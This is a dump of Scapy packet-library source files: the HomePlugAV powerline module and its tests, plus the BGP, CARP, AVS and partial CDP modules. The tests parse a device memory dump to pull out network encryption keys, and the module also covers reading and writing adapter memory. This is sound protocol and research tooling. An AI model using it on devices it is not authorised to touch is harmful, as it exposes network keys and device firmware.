0x1FE8 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("reserved_24" , 0), lambda pkt:(0x1FE8 >= pkt.__offset and 0x1FEC <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("reserved_25" , 0), lambda pkt:(0x1FEC >= pkt.__offset and 0x1FF0 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_26", "\x00"*24, 24), lambda pkt:(0x1FF0 >= pkt.__offset and 0x2008 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("OverrideDefaultLedEventBehavior" , 0x80), lambda pkt:(0x2008 >= pkt.__offset and 0x2009 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ReportToHostInfo" , 0), lambda pkt:(0x2009 >= pkt.__offset and 0x200A <= pkt.__offset+pkt.__length)), ConditionalField(X3BytesField("reserved_27" , 0), lambda pkt:(0x200A >= pkt.__offset and 0x200D <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("NumBehaviors" , 0), lambda pkt:(0x200D >= pkt.__offset and 0x200E <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("BehaviorBlockArrayES", "", BehaviorBlockArray, length_from=lambda x: 1200), lambda pkt:(0x200E >= pkt.__offset and 0x24BE <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("NumEvents" , 0), lambda pkt:(0x24BE >= pkt.__offset and 0x24BF <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("EventBlockArrayES", "", EventBlockArray, length_from=lambda x: 550), lambda pkt:(0x24BF >= pkt.__offset and 0x26E5 <= pkt.__offset+pkt.__length)), ] def __init__(self, packet="", offset = 0x0, length = 0x400): self.__offset = offset self.__length = length return super(ModulePIB,self).__init__(packet) ###################################################################### # Read MAC Memory ##################################################################### StartMACCodes = { 0x00 : "Success" } class StartMACRequest(Packet): name = "StartMACRequest" fields_desc=[ ByteEnumField("ModuleID", 0x00, StartMACCodes), X3BytesField("reserver_1", 0x000000), LEIntField("ImgLoadStartAddr" , 0x00000000), LEIntField("ImgLength", 0x00000000), LEIntField("ImgCheckSum", 0x00000000), LEIntField("ImgStartAddr", 0x00000000), ] class StartMACConfirmation(Packet): name = "StartMACConfirmation" fields_desc=[ ByteEnumField("Status", 0x00, StartMACCodes), XByteField("ModuleID", 0x00), ] ###################################################################### # Reset Device ###################################################################### ResetDeviceCodes = { 0x00 : "Success" } class ResetDeviceRequest(Packet): name = "ResetDeviceRequest" fields_desc=[ ] class ResetDeviceConfirmation(Packet): name = "ResetDeviceConfirmation" fields_desc=[ ByteEnumField("Status", 0x00, ResetDeviceCodes) ] ###################################################################### # Read Configuration Block ###################################################################### ReadConfBlockCodes = { 0x00 : "Success" } class ReadConfBlockRequest(Packet): name = "ReadConfBlockRequest" fields_desc=[ ] CBImgTCodes = { 0x00 : "Generic Image", 0x01 : "Synopsis configuration", 0x02 : "Denali configuration", 0x03 : "Denali applet", 0x04 : "Runtime firmware", 0x05 : "OAS client", 0x06 : "Custom image", 0x07 : "Memory control applet", 0x08 : "Power management applet", 0x09 : "OAS client IP stack", 0x0A : "OAS client TR069", 0x0B : "SoftLoader", 0x0C : "Flash layout", 0x0D : "Unknown", 0x0E : "Chain manifest", 0x0F : "Runtime parameters", 0x10 : "Custom module in scratch", 0x11 : "Custom module update applet" } class ConfBlock(Packet): name = "ConfBlock" fields_desc=[ LEIntField("HeaderVersionNum", 0), LEIntField("ImgAddrNVM", 0), LEIntField("ImgAddrSDRAM", 0), LEIntField("ImgLength", 0), LEIntField("ImgCheckSum", 0), LEIntField("EntryPoint", 0), XByteField("HeaderMinVersion", 0x00), ByteEnumField("HeaderImgType", 0x00, CBImgTCodes), XShortField("HeaderIgnoreMask", 0x0000), LEIntField("HeaderModuleID", 0), LEIntField("HeaderModuleSubID", 0), LEIntField("AddrNextHeaderNVM", 0), LEIntField("HeaderChecksum", 0), LEIntField("SDRAMsize", 0), LEIntField("SDRAMConfRegister", 0), LEIntField("SDRAMTimingRegister_0", 0), LEIntField("SDRAMTimingRegister_1", 0), LEIntField("SDRAMControlRegister", 0), LEIntField("SDRAMRefreshRegister", 0), LEIntField("MACClockRegister", 0), LEIntField("reserved_1", 0), ] class ReadConfBlockConfirmation(Packet): name = "ReadConfBlockConfirmation" fields_desc=[ ByteEnumField("Status", 0x00, ReadConfBlockCodes), FieldLenField("BlockLen", None, count_of="ConfigurationBlock", fmt="B"), PacketListField("ConfigurationBlock", None, ConfBlock, length_from=lambda pkt:pkt.BlockLen) ] ###################################################################### # Write Module Data to NVM ###################################################################### class WriteModuleData2NVMRequest(Packet): name = "WriteModuleData2NVMRequest" fields_desc=[ ByteEnumField("ModuleID", 0x02, ModuleIDList) ] class WriteModuleData2NVMConfirmation(Packet): name = "WriteModuleData2NVMConfirmation" fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes), ByteEnumField("ModuleID", 0x02, ModuleIDList) ] ############################ END ###################################### class HomePlugAV(Packet): """ HomePlugAV Packet - by default => gets devices informations """ name = "HomePlugAV " fields_desc=[ MACManagementHeader, ConditionalField(XShortField("FragmentInfo", 0x0), FragmentCond), # Fragmentation Field VendorMME ] def answers(self, other): return ( isinstance(self, HomePlugAV ) ) bind_layers( Ether, HomePlugAV, { "type":0x88e1 } ) # +----------+------------+--------------------+ # | Ethernet | HomePlugAV | Elements + Payload | # +----------+------------+--------------------+ bind_layers( HomePlugAV, GetDeviceVersion, { "HPtype" : 0xA001 } ) bind_layers( HomePlugAV, StartMACRequest, { "HPtype" : 0xA00C } ) bind_layers( HomePlugAV, StartMACConfirmation, { "HPtype" : 0xA00D } ) bind_layers( HomePlugAV, ResetDeviceRequest, { "HPtype" : 0xA01C } ) bind_layers( HomePlugAV, ResetDeviceConfirmation, { "HPtype" : 0xA01D } ) bind_layers( HomePlugAV, NetworkInformationRequest, { "HPtype" : 0xA038 } ) bind_layers( HomePlugAV, ReadMACMemoryRequest, { "HPtype" : 0xA008 } ) bind_layers( HomePlugAV, ReadMACMemoryConfirmation, { "HPtype" : 0xA009 } ) bind_layers( HomePlugAV, ReadModuleDataRequest, { "HPtype" : 0xA024 } ) bind_layers( HomePlugAV, ReadModuleDataConfirmation, { "HPtype" : 0xA025 } ) bind_layers( HomePlugAV, WriteModuleDataRequest, { "HPtype" : 0xA020 } ) bind_layers( HomePlugAV, WriteModuleData2NVMRequest, { "HPtype" : 0xA028 } ) bind_layers( HomePlugAV, WriteModuleData2NVMConfirmation, { "HPtype" : 0xA029 } ) bind_layers( HomePlugAV, NetworkInfoConfirmationV10, { "HPtype" : 0xA039, "version" : 0x00 } ) bind_layers( HomePlugAV, NetworkInfoConfirmationV11, { "HPtype" : 0xA039, "version" : 0x01 } ) bind_layers( NetworkInfoConfirmationV10, NetworkInfoV10, { "HPtype" : 0xA039, "version" : 0x00 } ) bind_layers( NetworkInfoConfirmationV11, NetworkInfoV11, { "HPtype" : 0xA039, "version" : 0x01 } ) bind_layers( HomePlugAV, HostActionRequired, { "HPtype" : 0xA062 } ) bind_layers( HomePlugAV, LoopbackRequest, { "HPtype" : 0xA048 } ) bind_layers( HomePlugAV, LoopbackConfirmation, { "HPtype" : 0xA049 } ) bind_layers( HomePlugAV, SetEncryptionKeyRequest, { "HPtype" : 0xA050 } ) bind_layers( HomePlugAV, SetEncryptionKeyConfirmation, { "HPtype" : 0xA051 } ) bind_layers( HomePlugAV, ReadConfBlockRequest, { "HPtype" : 0xA058 } ) bind_layers( HomePlugAV, ReadConfBlockConfirmation, { "HPtype" : 0xA059 } ) bind_layers( HomePlugAV, QUAResetFactoryConfirm, { "HPtype" : 0xA07D } ) bind_layers( HomePlugAV, GetNVMParametersRequest, { "HPtype" : 0xA010 } ) bind_layers( HomePlugAV, GetNVMParametersConfirmation, { "HPtype" : 0xA011 } ) bind_layers( HomePlugAV, SnifferRequest, { "HPtype" : 0xA034 } ) bind_layers( HomePlugAV, SnifferConfirmation, { "HPtype" : 0xA035 } ) bind_layers( HomePlugAV, SnifferIndicate, { "HPtype" : 0xA036 } ) """ Credit song : "Western Spaguetti - We are terrorists" """ scapy-2.3.3/scapy/contrib/HomePlugAV.uts000066400000000000000000000175721300136037300201310ustar00rootroot00000000000000% Regression tests for Scapy # HomePlugAV ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Building packets packet ~ basic HomePlugAV GetDeviceVersion StartMACRequest StartMACConfirmation ResetDeviceRequest ResetDeviceConfirmation NetworkInformationRequest ReadMACMemoryRequest ReadMACMemoryConfirmation ReadModuleDataRequest ReadModuleDataConfirmation WriteModuleDataRequest WriteModuleData2NVMRequest WriteModuleData2NVMConfirmation NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 NetworkInfoV10 NetworkInfoV11 HostActionRequired LoopbackRequest LoopbackConfirmation SetEncryptionKeyRequest SetEncryptionKeyConfirmation ReadConfBlockRequest ReadConfBlockConfirmation QUAResetFactoryConfirm GetNVMParametersRequest GetNVMParametersConfirmation SnifferRequest SnifferConfirmation SnifferIndicate HomePlugAV() HomePlugAV()/GetDeviceVersion() HomePlugAV()/StartMACRequest() HomePlugAV()/StartMACConfirmation() HomePlugAV()/ResetDeviceRequest() HomePlugAV()/ResetDeviceConfirmation() HomePlugAV()/NetworkInformationRequest() HomePlugAV()/ReadMACMemoryRequest() HomePlugAV()/ReadMACMemoryConfirmation() HomePlugAV()/ReadModuleDataRequest() HomePlugAV()/ReadModuleDataConfirmation() HomePlugAV()/WriteModuleDataRequest() HomePlugAV()/WriteModuleData2NVMRequest() HomePlugAV()/WriteModuleData2NVMConfirmation() HomePlugAV()/NetworkInfoConfirmationV10() HomePlugAV()/NetworkInfoConfirmationV11() HomePlugAV()/NetworkInfoConfirmationV10()/NetworkInfoV10() HomePlugAV()/NetworkInfoConfirmationV11()/NetworkInfoV11() HomePlugAV()/HostActionRequired() HomePlugAV()/LoopbackRequest() HomePlugAV()/LoopbackConfirmation() HomePlugAV()/SetEncryptionKeyRequest() HomePlugAV()/SetEncryptionKeyConfirmation() HomePlugAV()/ReadConfBlockRequest() HomePlugAV()/ReadConfBlockConfirmation() HomePlugAV()/QUAResetFactoryConfirm() HomePlugAV()/GetNVMParametersRequest() HomePlugAV()/GetNVMParametersConfirmation() HomePlugAV()/SnifferRequest() HomePlugAV()/SnifferConfirmation() HomePlugAV()/SnifferIndicate() = Some important manipulations ~ field pkt = HomePlugAV()/SetEncryptionKeyRequest() pkt.NMK = "A" * 16 pkt.DAK = "B" * 16 str(pkt) _ == "\x00P\xa0\x00\xb0R\x00AAAAAAAAAAAAAAAA\x00\xff\xff\xff\xff\xff\xffBBBBBBBBBBBBBBBB" pkt = HomePlugAV()/ReadMACMemoryRequest() pkt.Address = 0x31337 pkt.Length = 0x666 str(pkt) _ == "\x00\x08\xa0\x00\xb0R7\x13\x03\x00f\x06\x00\x00" pkt = HomePlugAV()/ReadModuleDataRequest() pkt.Length = 0x666 pkt.Offset = 0x1337 str(pkt) assert(_ == "\x00$\xa0\x00\xb0R\x02\x00f\x067\x13\x00\x00") pkt = HomePlugAV()/SnifferRequest() pkt.SnifferControl = 0x1 str(pkt) _ == "\x004\xa0\x00\xb0R\x01" = Some important fields parsing ~ field _xstr = "\x00%\xa0\x00\xb0R\x00\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00`\x8d\x05\xf9\x04\x01\x00\x00\x88)\x00\x00\x87`[\x14\x00$\xd4okm\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6\x00\x00603506A112119017\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14637000A112139290\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FREEPLUG_LC_6400_4-1_1.0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbb\xcb\x0e\x10 \xad\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00`\xe5\x16\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x03\x02\x80\x84\x1e\x00\x80\x84\x1e\x00\xe0\x93\x04\x00\xe0\x93\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" pkt = HomePlugAV(_xstr) ReadModuleDataConfirmation in pkt _ == True (pkt[ReadModuleDataConfirmation].ModuleID == 2, pkt[ReadModuleDataConfirmation].checksum == 4177890656, pkt[ReadModuleDataConfirmation].DataLen == 1024, pkt[ReadModuleDataConfirmation].Offset == 0) _ == (True, True, True, True) ModulePIB(pkt.ModuleData, pkt.Offset, pkt.DataLen) (_.NMK == "z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14", _.DAK == "\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6") _ == (True, True) #= Discovery packet tests in local #~ netaccess HomePlugAV NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 #pkt = Ether()/HomePlugAV() #a = srp1(pkt, iface="eth0") #a #pkt.version = a.version #pkt /= NetworkInformationRequest() #a = srp1(pkt, iface="eth0") #NetworkInfoConfirmationV10 in a or NetworkInfoConfirmationV11 in a #_ == True #= Reading local 0x400st octets of Software Image in Module Data blocks #~ netaccess HomePlugAV ReadModuleDataRequest #pkt = Ether()/HomePlugAV()/ReadModuleDataRequest(ModuleID=0x1) #a = srp1(pkt, iface="eth0") #a #len(a.ModuleData) == pkt.Length #_ == True = Testing length and checksum on a generated Write Module Data Request string = "goodchoucroute\x00\x00" pkt = WriteModuleDataRequest(ModuleData=string) pkt = WriteModuleDataRequest(pkt.build()) pkt.show() (pkt.checksum == chksum32(pkt.ModuleData), pkt.DataLen == len(pkt.ModuleData)) _ == (True, True) scapy-2.3.3/scapy/contrib/__init__.py000066400000000000000000000004151300136037300175220ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Package of contrib modules that have to be loaded explicitly. """ scapy-2.3.3/scapy/contrib/avs.py000066400000000000000000000034511300136037300165570ustar00rootroot00000000000000#! /usr/bin/env python # http://trac.secdev.org/scapy/ticket/82 # scapy.contrib.description = AVS WLAN Monitor Header # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.dot11 import * AVSWLANPhyType = { 0 : "Unknown", 1 : "FHSS 802.11 '97", 2 : "DSSS 802.11 '97", 3 : "IR Baseband", 4 : "DSSS 802.11b", 5 : "PBCC 802.11b", 6 : "OFDM 802.11g", 7 : "PBCC 802.11g", 8 : "OFDM 802.11a" } AVSWLANEncodingType = { 0 : "Unknown", 1 : "CCK", 2 : "PBCC", 3 : "OFDM"} AVSWLANSSIType = { 0 : "None", 1 : "Normalized RSSI", 2 : "dBm", 3 : "Raw RSSI"} AVSWLANPreambleType = { 0 : "Unknown", 1 : "Short", 2 : "Long" } class AVSWLANHeader(Packet): """ iwpriv eth1 set_prismhdr 1 """ name = "AVS WLAN Monitor Header" fields_desc = [ IntField("version",1), IntField("len",64), LongField("mactime",0), LongField("hosttime",0), IntEnumField("phytype",0, AVSWLANPhyType), IntField("channel",0), IntField("datarate",0), IntField("antenna",0), IntField("priority",0), IntEnumField("ssi_type",0, AVSWLANSSIType), SignedIntField("ssi_signal",0), SignedIntField("ssi_noise",0), IntEnumField("preamble",0, AVSWLANPreambleType), IntEnumField("encoding",0, AVSWLANEncodingType), ] bind_layers(AVSWLANHeader, Dot11) scapy-2.3.3/scapy/contrib/bgp.py000066400000000000000000000142271300136037300165410ustar00rootroot00000000000000#! /usr/bin/env python # http://trac.secdev.org/scapy/ticket/162 # scapy.contrib.description = BGP # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.inet import TCP class BGPIPField(Field): """Represents how bgp dose an ip prefix in (length, prefix)""" def mask2iplen(self,mask): """turn the mask into the length in bytes of the ip field""" return (mask + 7) // 8 def h2i(self, pkt, h): """human x.x.x.x/y to internal""" ip,mask = re.split( '/', h) return int(mask), ip def i2h( self, pkt, i): mask, ip = i return ip + '/' + str( mask ) def i2repr( self, pkt, i): """make it look nice""" return self.i2h(pkt,i) def i2len(self, pkt, i): """rely on integer division""" mask, ip = i return self.mask2iplen(mask) + 1 def i2m(self, pkt, i): """internal (ip as bytes, mask as int) to machine""" mask, ip = i ip = inet_aton( ip ) return struct.pack(">B",mask) + ip[:self.mask2iplen(mask)] def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) def getfield(self, pkt, s): l = self.mask2iplen( struct.unpack(">B",s[0])[0] ) + 1 return s[l:], self.m2i(pkt,s[:l]) def m2i(self,pkt,m): mask = struct.unpack(">B",m[0])[0] ip = "".join(m[i + 1] if i < self.mask2iplen(mask) else '\x00' for i in xrange(4)) return (mask,inet_ntoa(ip)) class BGPHeader(Packet): """The first part of any BGP packet""" name = "BGP header" fields_desc = [ XBitField("marker",0xffffffffffffffffffffffffffffffff, 0x80 ), ShortField("len", None), ByteEnumField("type", 4, {0:"none", 1:"open",2:"update",3:"notification",4:"keep_alive"}), ] def post_build(self, p, pay): if self.len is None and pay: l = len(p) + len(pay) p = p[:16]+struct.pack("!H", l)+p[18:] return p+pay class BGPOptionalParameter(Packet): """Format of optional Parameter for BGP Open""" name = "BGP Optional Parameters" fields_desc = [ ByteField("type", 2), ByteField("len", None), StrLenField("value", "", length_from = lambda x: x.len), ] def post_build(self,p,pay): if self.len is None: l = len(p) - 2 # 2 is length without value p = p[:1]+struct.pack("!B", l)+p[2:] return p+pay def extract_padding(self, p): """any thing after this packet is extracted is padding""" return "",p class BGPOpen(Packet): """ Opens a new BGP session""" name = "BGP Open Header" fields_desc = [ ByteField("version", 4), ShortField("AS", 0), ShortField("hold_time", 0), IPField("bgp_id","0.0.0.0"), ByteField("opt_parm_len", None), PacketListField("opt_parm",[], BGPOptionalParameter, length_from=lambda p:p.opt_parm_len), ] def post_build(self, p, pay): if self.opt_parm_len is None: l = len(p) - 10 # 10 is regular length with no additional options p = p[:9] + struct.pack("!B",l) +p[10:] return p+pay class BGPAuthenticationData(Packet): name = "BGP Authentication Data" fields_desc = [ ByteField("AuthenticationCode", 0), ByteField("FormMeaning", 0), FieldLenField("Algorithm", 0), ] class BGPPathAttribute(Packet): "the attribute of total path" name = "BGP Attribute fields" fields_desc = [ FlagsField("flags", 0x40, 8, ["NA0","NA1","NA2","NA3","Extended-Length","Partial","Transitive","Optional"]), #Extened leght may not work ByteEnumField("type", 1, {1:"ORIGIN", 2:"AS_PATH", 3:"NEXT_HOP", 4:"MULTI_EXIT_DISC", 5:"LOCAL_PREF", 6:"ATOMIC_AGGREGATE", 7:"AGGREGATOR"}), ByteField("attr_len", None), StrLenField("value", "", length_from = lambda p: p.attr_len), ] def post_build(self, p, pay): if self.attr_len is None: l = len(p) - 3 # 3 is regular length with no additional options p = p[:2] + struct.pack("!B",l) +p[3:] return p+pay def extract_padding(self, p): """any thing after this packet is extracted is padding""" return "",p class BGPUpdate(Packet): """Update the routes WithdrawnRoutes = UnfeasiableRoutes""" name = "BGP Update fields" fields_desc = [ ShortField("withdrawn_len", None), FieldListField("withdrawn",[], BGPIPField("","0.0.0.0/0"), length_from=lambda p:p.withdrawn_len), ShortField("tp_len", None), PacketListField("total_path", [], BGPPathAttribute, length_from = lambda p: p.tp_len), FieldListField("nlri",[], BGPIPField("","0.0.0.0/0"), length_from=lambda p:p.underlayer.len - 23 - p.tp_len - p.withdrawn_len), # len should be BGPHeader.len ] def post_build(self,p,pay): wl = self.withdrawn_len subpacklen = lambda p: len ( str( p )) subfieldlen = lambda p: BGPIPField("", "0.0.0.0/0").i2len(self, p ) if wl is None: wl = sum ( map ( subfieldlen , self.withdrawn)) p = p[:0]+struct.pack("!H", wl)+p[2:] if self.tp_len is None: l = sum ( map ( subpacklen , self.total_path)) p = p[:2+wl]+struct.pack("!H", l)+p[4+wl:] return p+pay class BGPNotification(Packet): name = "BGP Notification fields" fields_desc = [ ByteEnumField("ErrorCode",0,{1:"Message Header Error",2:"OPEN Message Error",3:"UPDATE Messsage Error",4:"Hold Timer Expired",5:"Finite State Machine",6:"Cease"}), ByteEnumField("ErrorSubCode",0,{1:"MessageHeader",2:"OPENMessage",3:"UPDATEMessage"}), LongField("Data", 0), ] class BGPErrorSubcodes(Packet): name = "BGP Error Subcodes" Fields_desc = [ ByteEnumField("MessageHeader",0,{1:"Connection Not Synchronized",2:"Bad Message Length",3:"Bad Messsage Type"}), ByteEnumField("OPENMessage",0,{1:"Unsupported Version Number",2:"Bad Peer AS",3:"Bad BGP Identifier",4:"Unsupported Optional Parameter",5:"Authentication Failure",6:"Unacceptable Hold Time"}), ByteEnumField("UPDATEMessage",0,{1:"Malformed Attribute List",2:"Unrecognized Well-Known Attribute",3:"Missing Well-Known Attribute",4:"Attribute Flags Error",5:"Attribute Length Error",6:"Invalid ORIGIN Attribute",7:"AS Routing Loop",8:"Invalid NEXT_HOP Attribute",9:"Optional Attribute Error",10:"Invalid Network Field",11:"Malformed AS_PATH"}), ] bind_layers( TCP, BGPHeader, dport=179) bind_layers( TCP, BGPHeader, sport=179) bind_layers( BGPHeader, BGPOpen, type=1) bind_layers( BGPHeader, BGPUpdate, type=2) bind_layers( BGPHeader, BGPHeader, type=4) if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="BGP addon .05") scapy-2.3.3/scapy/contrib/carp.py000066400000000000000000000036121300136037300167120ustar00rootroot00000000000000 # scapy.contrib.description = CARP # scapy.contrib.status = loads import struct, hmac, hashlib from scapy.packet import * from scapy.layers.inet import IP from scapy.fields import BitField, ByteField, XShortField, IntField, XIntField from scapy.utils import checksum, inet_aton class CARP(Packet): name = "CARP" fields_desc = [ BitField("version", 4, 4), BitField("type", 4, 4), ByteField("vhid", 1), ByteField("advskew", 0), ByteField("authlen", 0), ByteField("demotion", 0), ByteField("advbase", 0), XShortField("chksum", 0), XIntField("counter1", 0), XIntField("counter2", 0), XIntField("hmac1", 0), XIntField("hmac2", 0), XIntField("hmac3", 0), XIntField("hmac4", 0), XIntField("hmac5", 0) ] def post_build(self, pkt, pay): if self.chksum == None: pkt = pkt[:6] + struct.pack("!H", checksum(pkt)) + pkt[8:] return pkt def build_hmac_sha1(pkt, pw = '\0' * 20, ip4l=None, ip6l=None): if ip4l is None: ip4l = [] if ip6l is None: ip6l = [] if not pkt.haslayer(CARP): return None p = pkt[CARP] h = hmac.new(pw, digestmod = hashlib.sha1) # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field h.update('\x21') # XXX: mac addy if different from special link layer. comes before vhid h.update(struct.pack('!B', p.vhid)) sl = [] for i in ip4l: # sort ips from smallest to largest sl.append(inet_aton(i)) sl.sort() for i in sl: h.update(i) # XXX: do ip6l sorting return h.digest() """ XXX: Usually CARP is multicast to 224.0.0.18 but because of virtual setup, it'll be unicast between nodes. Uncomment the following line for normal use bind_layers(IP, CARP, proto=112, dst='224.0.0.18') """ bind_layers(IP, CARP, proto=112) scapy-2.3.3/scapy/contrib/cdp.py000066400000000000000000000273351300136037300165430ustar00rootroot00000000000000#! /usr/bin/env python # scapy.contrib.description = Cisco Discovery Protocol # scapy.contrib.status = loads ############################################################################# ## ## ## cdp.py --- Cisco Discovery Protocol (CDP) extension for Scapy ## ## ## ## Copyright (C) 2006 Nicolas Bareil ## ## Arnaud Ebalard ## ## EADS/CRC security team ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation; version 2. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# from scapy.packet import * from scapy.fields import * from scapy.layers.inet6 import * ##################################################################### # Helpers and constants ##################################################################### # CDP TLV classes keyed by type _cdp_tlv_cls = { 0x0001: "CDPMsgDeviceID", 0x0002: "CDPMsgAddr", 0x0003: "CDPMsgPortID", 0x0004: "CDPMsgCapabilities", 0x0005: "CDPMsgSoftwareVersion", 0x0006: "CDPMsgPlatform", 0x0007: "CDPMsgIPPrefix", 0x0008: "CDPMsgProtoHello", 0x0009: "CDPMsgVTPMgmtDomain", # CDPv2 0x000a: "CDPMsgNativeVLAN", # CDPv2 0x000b: "CDPMsgDuplex", # # 0x000c: "CDPMsgGeneric", # 0x000d: "CDPMsgGeneric", 0x000e: "CDPMsgVoIPVLANReply", 0x000f: "CDPMsgVoIPVLANQuery", 0x0010: "CDPMsgPower", 0x0011: "CDPMsgMTU", # 0x0012: "CDPMsgTrustBitmap", # 0x0013: "CDPMsgUntrustedPortCoS", # 0x0014: "CDPMsgSystemName", # 0x0015: "CDPMsgSystemOID", 0x0016: "CDPMsgMgmtAddr", # 0x0017: "CDPMsgLocation", 